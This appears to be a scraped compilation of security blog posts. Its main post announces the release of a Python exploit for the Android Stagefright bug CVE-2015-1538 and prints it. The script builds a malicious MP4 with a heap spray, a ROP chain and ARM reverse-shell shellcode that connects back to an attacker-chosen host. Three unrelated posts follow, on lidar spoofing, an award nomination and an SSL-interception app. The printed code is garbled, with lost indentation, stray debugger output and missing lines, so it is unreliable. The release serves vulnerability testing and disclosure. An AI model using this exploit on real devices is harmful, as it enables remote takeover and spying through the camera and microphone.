The Latest on Stagefright: CVE-2015-1538 Exploit is Now Available for Testing Purposes

More than a month has passed since Zimperium first broke the news of zLabs’ VP of Platform Research and Exploitation Joshua J. Drake’s discovery of multiple critical vulnerabilities in Android’s media library – libstagefright. In that time frame, the number and importance of the events that have unfolded is nothing short of amazing. Back in April and May we reported two sets of vulnerabilities to Google, both including multiple with critical severity. In July, we announced our intentions to publish our exploit on August 5th during Black Hat USA. After discussions with ZHA Partners, including both carriers and device manufacturers, we agreed to postpone the release of the exploit until August 24th. Multiple researchers have publicly discussed their own working exploits targeting vulnerabilities within libstagefright. Before we dive into our exploit, let’s recap the key events that unfolded since our recent announcement.

  • Black Hat Slides and Video Available

Black Hat libStageFright researchWe made Joshua’s presentation slides available shortly after Black Hat and DEF CON. Later, the Black Hat organizers made the full video available on YouTube. Please review these materials to learn more about Joshua’s research straight from the source.

  • Unassisted Remote Attack Vector Addressed

Mobile Attack VectorGoogle released new versions of Hangouts and Messenger to block automatic processing of multimedia files arriving via MMS. We’ve tested these updated versions and are happy to confirm they prevent unassisted remote exploitation. However, this attack vector constituted only the worst of more than 10 different ways (browsers, instant messengers, etc) potentially malicious media is processed by the Stagefright library. With these other vectors still present, the importance of fixing issues within the code base remains very high.

  • Additional Vulnerabilities Reported

mobile vulnerabilitiesWe expected other researchers to explore the vulnerabilities we disclosed and discover additional vulnerabilities in the Stagefright library over time. That said, we did not expect the incredible level of response from the community. We applaud the efforts of myriad researchers that flocked to audit the Android code base and collectively discovered and reported numerous additional issues.

  • Update Changes and Status

Mobile Security VendorsThe most positive thing about our Stagefright research is waking the ecosystem and getting device vendors and carriers to realize they must distribute updates more quickly and more often. Industry leading vendors clearly stated that they intend to provide security updates on a monthly basis. Now that we are facing additional vulnerabilities, we’ll see for ourselves if our devices get these updates or not. In the meantime, updates addressing the initial set of issues we disclosed continue to roll out to affected devices.

  • Additional Update is Required

mobile security updatesShortly after the events in Las Vegas, researchers from Exodus Intelligence discovered a problem with one of the patches Joshua supplied. Google quickly analyzed this issue, assigned CVE-2015-3864, and pushed a fix to AOSP. We expect the fix to be included in the next round of official updates. In fact, our Stagefright Detector app data shows that some devices have received an update for this issue already. Regardless, we feel this issue represents a significant risk to the ecosystem and thus should be addressed sooner rather than later.

  • Our Detection Efforts

Zimperium Detection EffortsIn order to best serve the mobile ecosystem, we created the Stagefright Detector app to detect if your device is vulnerable to the vulnerabilities discovered in libstagefright. After CVE-2015-3864 was publicly disclosed, we added it to the set of vulnerabilities tested in the app. Since then, we have been working directly with Google to port the app’s detection logic into Android’s Compatibility Test Suite (CTS). This means future versions of Android for all “Android Compatible” devices must have these issues fixed before they can ship.

Zimperium’s z9 enterprise customers, have the capability to detect attacks exploiting Stagefright vulnerabilities. Two demo videos are referenced below: one showing a successful attack, and another showing the attack being detected.

  • Researchers are Working on their Exploits

StageFright Exploits ResearchOn August 25th, we discovered a researcher’s post on Twitter about his independent implementation of an exploit against libstagefright. His post shows his exploit works against Android 5.0 running in the emulator. This is consistent with information that a student and independent researcher posted on Twitter stating he had managed to bypass ASLR using an information leakage vulnerability in Stagefright. In the event additional public exploits surface, please exercise caution before running them, as they may contain backdoors.

  • Releasing Our Exploit for Testing Purposes

StageFright ExploitDuring the months of June and July, Joshua J. Drake developed a working exploit to prove the Stagefright vulnerability can allow Remote Code Execution (RCE) without user interaction. We are pleased to finally make this code available to the general public so that security teams, administrators, and penetration testers alike may test whether or not systems remain vulnerable.

What follows is a python script that generates an MP4 exploiting the ‘stsc’ vulnerability otherwise known as CVE-2015-1538 (#1). This is one of the most critical vulnerabilities we reported in the Stagefright library. The expected result of the exploit is a reverse shell as the media user. As detailed in Joshua Drake’s Black Hat and DEFCON presentations, this user has access to quite a few groups such as inet, audio, camera, and mediadrm. These groups allow an attacker to take pictures or listen to the microphone remotely without exploiting additional vulnerabilities.

This exploit has several caveats. First, it is not a generic exploit. We only tested it to work on a single device model. We tested this exploit on a Nexus running Android 4.0.4. Also, due to variances in heap layout, this is not a 100% reliable exploit by itself. We were able achieve 100% reliability when delivered through an attack vector that allowed multiple attempts. Finally, this vulnerability was one of several that was neutered by GCC 5.0’s ‘new[]’ integer overflow mitigation present on Android 5.0 and later. (raw file)

#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
# “With great power comes great responsibility.” – Uncle Ben
import struct
import socket
# Creates a single MP4 atom – LEN, TAG, DATA
def make_chunk(tag, data):
if len(tag) != 4:
raise ‘Yo! They call it “FourCC” for a reason.’
ret = struct.pack(‘>L’, len(data) + 8)
ret += tag
ret += data
return ret
# Make an ‘stco’ atom – Sample Table Chunk Offets
def make_stco(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
return make_chunk(‘stco’, ret+extra)

# Make an ‘stsz’ atom – Sample Table Size
def make_stsz(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
ret += struct.pack(‘>L’, 0) # mNumSampleSizes
return make_chunk(‘stsz’, ret+extra)

# Make an ‘stts’ atom – Sample Table Time-to-Sample
def make_stts():
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
return make_chunk(‘stts’, ret)
# This creates a single Sample Table Sample-to-Chunk entry
def make_stsc_entry(start, per, desc):
ret = ”
ret += struct.pack(‘>L’, start + 1)
ret += struct.pack(‘>L’, per)
ret += struct.pack(‘>L’, desc)
return ret

# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack(‘>L’, 0) # version/flags

# this is the clean version…
if not do_overflow:
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
ret += ‘Z’ * (12 * num_alloc)
return make_chunk(‘stsc’, ret)

# now the explicit version. (trigger the bug)
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets

# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

ret = make_chunk(‘stsc’, ret)

# patch the data_size
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]

return ret

# Build the ROP chain
# ROP pivot by Georg Wicherski! Thanks!
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}

b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>

def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ”
rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}
rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}

rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
rop += struct.pack(‘<L’, 0x1000) # new r1 – length
rop += struct.pack(‘<L’, 7) # new r2 – protection
rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch
rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch
rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect

native_start = sp_addr + 0x80
rop += struct.pack(‘<L’, native_start) # address of native payload
#rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack…
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = ”
# fork
buf += ‘x02x70xa0xe3’
buf += ‘x00x00x00xef’
# continue if not parent…
buf += ‘x00x00x50xe3’
buf += ‘x02x00x00x0a’
# exit parent
buf += ‘x00x00xa0xe3’
buf += ‘x01x70xa0xe3’
buf += ‘x00x00x00xef’
# setsid in child
buf += ‘x42x70xa0xe3’
buf += ‘x00x00x00xef’
# socket/connect/dup2/dup2/dup2
buf += ‘x02x00xa0xe3x01x10xa0xe3x05x20x81xe2x8c’
buf += ‘x70xa0xe3x8dx70x87xe2x00x00x00xefx00x60’
buf += ‘xa0xe1x6cx10x8fxe2x10x20xa0xe3x8dx70xa0’
buf += ‘xe3x8ex70x87xe2x00x00x00xefx06x00xa0xe1’
buf += ‘x00x10xa0xe3x3fx70xa0xe3x00x00x00xefx06’
buf += ‘x00xa0xe1x01x10xa0xe3x3fx70xa0xe3x00x00’
buf += ‘x00xefx06x00xa0xe1x02x10xa0xe3x3fx70xa0’
buf += ‘xe3x00x00x00xef’
# execve(shell, argv, env)
buf += ‘x30x00x8fxe2x04x40x24xe0’
buf += ‘x10x00x2dxe9x38x30x8fxe2x08x00x2dxe9x0d’
buf += ‘x20xa0xe1x10x00x2dxe9x24x40x8fxe2x10x00’
buf += ‘x2dxe9x0dx10xa0xe1x0bx70xa0xe3x00x00x00’
buf += ‘xefx02x00’
# Add the connect back host/port
buf += struct.pack(‘!H’, cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack(‘=4s’, cb_host)
# shell –
buf += ‘/system/bin/shx00x00’
# argv –
buf += ‘shx00x00’
# env –
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbinx00’

# Add some identifiable stuff, just in case something goes awry…
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 – rop_start_off:
rop += struct.pack(‘<L’, 0xf0f00000+x)
x += 4

# Add the native payload…
rop += buf

return rop

# Build an mp4 that exploits CVE-2015-1538 #1
# We mimic meow.3gp here…
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []

# Build the MP4 header…
ftyp = ‘mp42’
ftyp += struct.pack(‘>L’, 0)
ftyp += ‘mp42’
ftyp += ‘isom’
chunks.append(make_chunk(‘ftyp’, ftyp))

# Note, this causes a few allocations…
moov_data = ”
moov_data += make_chunk(‘mvhd’,
struct.pack(‘>LL’, 0, 0x41414141) +
(‘B’ * 0x5c) )

# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk(‘trak’,
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))

# Spray the heap using a large tx3g chunk (can contain binary data!)
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
page = ”
off = 0 # the offset to the next object
off += 8
page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack(‘<L’, sp_addr + off) # mRefs
off += 16
page += struct.pack(‘<L’, 1) # mStrong
page += struct.pack(‘<L’, 0xc0dedbad) # mWeak
page += struct.pack(‘<L’, sp_addr + off) # mBase
page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack(‘<L’, newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack(‘<L’, 0xf0f00000+x)
x += 4

off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) – 20)
moov_data += make_chunk(‘tx3g’, spray)
block = ‘A’ * 0x1c
bigger = ‘B’ * 0x40
udta = make_chunk(‘udta’,
struct.pack(‘>L’, 0) +
make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
moov_data += udta

# Make the nasty trak
tkhd1 = ”.join([
‘x00’, # version
‘D’ * 3, # padding
‘E’ * (5*4), # {c,m}time, id, ??, duration
‘F’ * 0x10, # ??
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
‘G’ * 0x14

trak1 = ”
trak1 += make_chunk(‘tkhd’, tkhd1)

mdhd1 = ”.join([
‘x00’, # version
‘D’ * 0x17, # padding

mdia1 = ”
mdia1 += make_chunk(‘mdhd’, mdhd1)
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)

dinf1 = ”
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)

minf1 = ”
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
minf1 += make_chunk(‘dinf’, dinf1)

# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER

# Add the stbl to the minf chunk
minf1 += make_chunk(‘stbl’, stbl1)

# Add the minf to the mdia chunk
mdia1 += make_chunk(‘minf’, minf1)

# Add the mdia to the track
trak1 += make_chunk(‘mdia’, mdia1)

# Add the nasty track to the moov data
moov_data += make_chunk(‘trak’, trak1)

# Finalize the moov chunk
moov = make_chunk(‘moov’, moov_data)

# Combine outer chunks together and voila.
data = ”.join(chunks)

return data

if __name__ == ‘__main__’:
import sys
import mp4
import argparse

def write_file(path, content):
with open(path, ‘wb’) as f:

def addr(sval):
if sval.startswith(‘0x’):
return int(sval, 16)
return int(sval)

# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)

# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument(‘-c’, ‘–connectback-host’, dest=’cbhost’, default=’′)
parser.add_argument(‘-p’, ‘–connectback-port’, dest=’cbport’, type=int, default=12345)
parser.add_argument(‘-s’, ‘–spray-address’, dest=’spray_addr’, type=addr, default=None)
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=’rop_pivot’, type=addr, default=None)
parser.add_argument(‘-o’, ‘–output-file’, dest=’output_file’, default=’cve-2015-1538-1.mp4′)
args = parser.parse_args()

if len(sys.argv) == 1:

if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val

# Build the MP4 file…
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
write_file(args.output_file, data)


We would like to thank Google, Samsung, LG, Motorola, Sony, HTC as well as other vendors and partners of ZHA for their cooperation prioritizing vulnerabilities in the Stagefright library in their updates:

  • CVE-2015-1538

    • CVE-2015-1538 #1
    • CVE-2015-1538 #2
    • CVE-2015-1538 #3
    • CVE-2015-1538 #4
  • CVE-2015-1539
  • CVE-2015-3824
  • CVE-2015-3826
  • CVE-2015-3827
  • CVE-2015-3828
  • CVE-2015-3829
  • CVE-2015-3864

We encourage vendors who still did not provide comprehensive device updates to address Stagefright issues to do so ASAP.


You can find more information on our work regarding vulnerabilities in the Stagefright library below:



Follow us on Twitter for more updates.

Follow Us

Are Self-Driving Cars Fatally Flawed?

I read the following in the Guardian story Hackers can trick self-driving cars into taking evasive action.

Hackers can easily trick self-driving cars into thinking that another car, a wall or a person is in front of them, potentially paralysing it or forcing it to take evasive action.

Automated cars use laser ranging systems, known as lidar, to image the world around them and allow their computer systems to identify and track objects. But a tool similar to a laser pointer and costing less than $60 can be used to confuse lidar…

The following appeared in the IEEE Spectrum story Researcher Hacks Self-driving Car Sensors.

Using such a system, attackers could trick a self-driving car into thinking something is directly ahead of it, thus forcing it to slow down. Or they could overwhelm it with so many spurious signals that the car would not move at all for fear of hitting phantom obstacles…

Petit acknowledges that his attacks are currently limited to one specific unit but says, “The point of my work is not to say that IBEO has a poor product. I don’t think any of the lidar manufacturers have thought about this or tried this.” 

I had the following reactions to these stories.

First, it’s entirely possible that self-driving car manufacturers know about this attack model. They might have decided that it’s worth producing cars despite the technical vulnerability. For example, there is no defense in WiFi for jamming the RF spectrum. There are also non-RF jamming methods to disrupt WiFi, as detailed here. Nevertheless, WiFi is everywhere, but lives usually don’t depend on it.

Second, researcher Jonathan Petit appears to have tested an IBEO Lux lidar unit and not a real self-driving car. We don’t know, from the Guardian or IEEE Spectrum articles at least, how a Google self-driving car would handle this attack. Perhaps the vendors have already compensated for it.

Third, these articles may undermine one of the presumed benefits of self-driving cars: that they are supposed to be safer than human drivers. If self-driving car technology is vulnerable to an attack not found in driver-controlled cars, that is a problem.

Fourth, does this attack mean that driver-controlled cars with similar technology are also vulnerable, or will be? Are there corresponding attacks for systems that detect obstacles on the road and trigger the brakes before the driver can physically respond?

Last, these articles demonstrate the differences between safety and security. Safety, in general, is a discipline designed to improve the well-being of people facing natural, environmental, mindless threats. Security, in contrast, is designed to counter intelligent, adaptive adversaries. I am predisposed to believe that self-driving car manufacturers have focused on the safety aspects of their products far more than the security aspects. It’s time to address that imbalance.

Zimperium solution nominated for ‘Most Disruptive Technology’ by the Telecom Council

Zimperium’s Mobile Threat Protection solution has been making waves in the industry for its capability to detect and protect mobile devices from advanced threats. Most recently, we showcased how zIPS protects Android devices from Stagefright vulnerability.

Telecom Council, SPIFFYAwardsZimperium has been nominated for the San Andreas Award for ‘Most Disruptive Technology’ 

Telecom Council identified Zimperium’s solution as a game changer in the mobile security space. Zuk Avraham, the Chairman and Founder of Zimperium, says that the company pioneered advanced mobile threat protection with its patented z9 technology, which has ushered in the next wave of enterprise mobile security.

According to Telecom Council President, Liz Kerton:

“Privacy, security, and subscriber protection has been a growing priority for many of our carrier members for several years. These carriers agree that Zimperium stands out from among the dozens of startups and solutions we reviewed at the Council in the past year.”

If you would like to protect your organization from advanced mobile threats, reach out to us.

Meet us at #TC3Summit in Mountain View from Sep 30 – Oct 2, 2015. More updates @Zimperium.

Follow Us

SSL Packet Capture Is An Amateur Hacker’s Best Friend

Chances are, you’ve either heard of or used the catch phrase ‘there’s an app for that’ at least once before. So, when asked the question, ‘Do you want to steal a mobile app’s secrets?’ it may come as no surprise that there is, in fact, an app for that.

 SSL Packet Capture is the name of the mobile app in question, and is currently available for free on the Google Play Store. Yes, you read that right. A mobile app exists, free of charge, which allows anyone with a basic understanding of technology to intercept and decode supposedly secure communications.

The mobile app utilizes reverse engineering, a concept that works by analyzing the original code and then identifying and exploiting any discovered security weaknesses or holes. Through reverse engineering, SSL Packet Capture is able to intercept and decrypt transmissions made between the mobile app and its back-end services.

Security researchers from the ProgrammableWeb tested out SSL Packet Capture on a variety of popular mobile messaging apps and found that despite the use of HTTPS, they were still able to spy on the apps’ communications.

This is especially troubling as HTTPS is intended to securely encrypt all transmissions, and prevent reverse engineering from occurring.

The researchers discovered that when SSL Packet Capture had been installed on a mobile device, the app would monitor, and decrypt nearly all traffic running between the mobile device and the Internet.

SSL Packet Capture is just the latest in a series of hacks and attacks reminding users that the Internet is not as safe and reliable for transmitting information as was once assumed.

With tools like SSL Packet Capture out there, ready for anyone to use regardless of hacking expertise, how can we keep our mobile devices secure? By following a few quick tips, you’ll be on your way to tighter security and a more protected mobile device:

  • Monitor the information you choose to send through your mobile device and the mobile apps you are trusting to deliver it. Banking details and social security numbers, for example, should always be communicated offline and in the most secure manner possible.
  • Equip your mobile device with comprehensive security software. McAfee® Mobile Security is free for both Android and iOS, and offers a variety of protections to keep unwanted eyes, and apps, out of your device and off of your personal information.
  • Change your passwords frequently and always make them complex. Sometimes, your passwords will inevitably fall into the wrong hands – but changing them regularly will lessen your chances of this happening and keeping them complex will make them harder to guess.

As always, to keep up with the latest security threats, make sure to follow @IntelSec_Home on Twitter and like us on Facebook.